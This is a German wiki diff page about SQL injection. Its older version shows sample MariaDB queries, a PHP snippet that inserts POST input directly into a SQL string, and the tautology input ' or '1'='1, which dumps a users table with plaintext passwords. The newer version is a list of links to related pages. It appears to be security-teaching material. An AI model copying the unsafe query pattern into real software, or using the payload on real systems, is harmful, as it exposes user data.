|
|
| (10 dazwischenliegende Versionen desselben Benutzers werden nicht angezeigt) |
| Zeile 1: |
Zeile 1: |
| =Vorüberlegung=
| | *[[Was ist eine SQL Injection]] |
| ==Verhaltensweise einer SQL Abfrage==
| | *[[SQL Injection Datenabfrage]] |
| ;Normale Abfrage
| | *[[SQL-Injection-Exploits]] |
| *MariaDB [sql_injections]> select * from users where username = 'rudi.burkart'; | | *[[SQL Injection - Übersicht]] |
| +------+--------------+----------+
| | *[[SQL Blind Injection]] |
| | id | username | password |
| | *[[Sql-Injection-Proof-of-Concept]] |
| +------+--------------+----------+
| |
| | 2 | rudi.burkart | secret |
| |
| +------+--------------+----------+
| |
| 1 row in set (0.000 sec)
| |
| ;Oder Verknüpfung
| |
| *MariaDB [sql_injections]> select * from users where username = 'rudi.burkart' or username = 'hans.will'; | |
| +------+--------------+----------+
| |
| | id | username | password |
| |
| +------+--------------+----------+
| |
| | 2 | rudi.burkart | secret |
| |
| | 1 | hans.will | geheim |
| |
| +------+--------------+----------+
| |
| 2 rows in set (0.000 sec)
| |
| =PHP Code=
| |
| ==Unsicher==
| |
| <pre>
| |
| $search = $_POST['search'];
| |
| $sql = "SELECT * FROM users WHERE username='$search'";
| |
| $result = mysqli_query($link, $sql);
| |
| </pre>
| |
| ;Diese Eingabe bewirkt nun
| |
| | |
| [[Datei:Sql-injection-2.png]] | |
| | |
| ;folgende Sql Abfrage
| |
| | |
| *MariaDB [sql_injections]> select * from users where username = '' or '1' = '1'; | |
| +------+---------------+-------------+
| |
| | id | username | password |
| |
| +------+---------------+-------------+
| |
| | 2 | rudi.burkart | secret |
| |
| | 3 | erwin.lehmann | weisniemand |
| |
| | 1 | hans.will | geheim |
| |
| +------+---------------+-------------+
| |
| 3 rows in set (0.000 sec)
| |
| ;Da '1' = '1" werden alle Datensätze angezeigt
| |
| | |
| =Webfrontend=
| |
| [[Datei:Sql-injection-1.png]] | |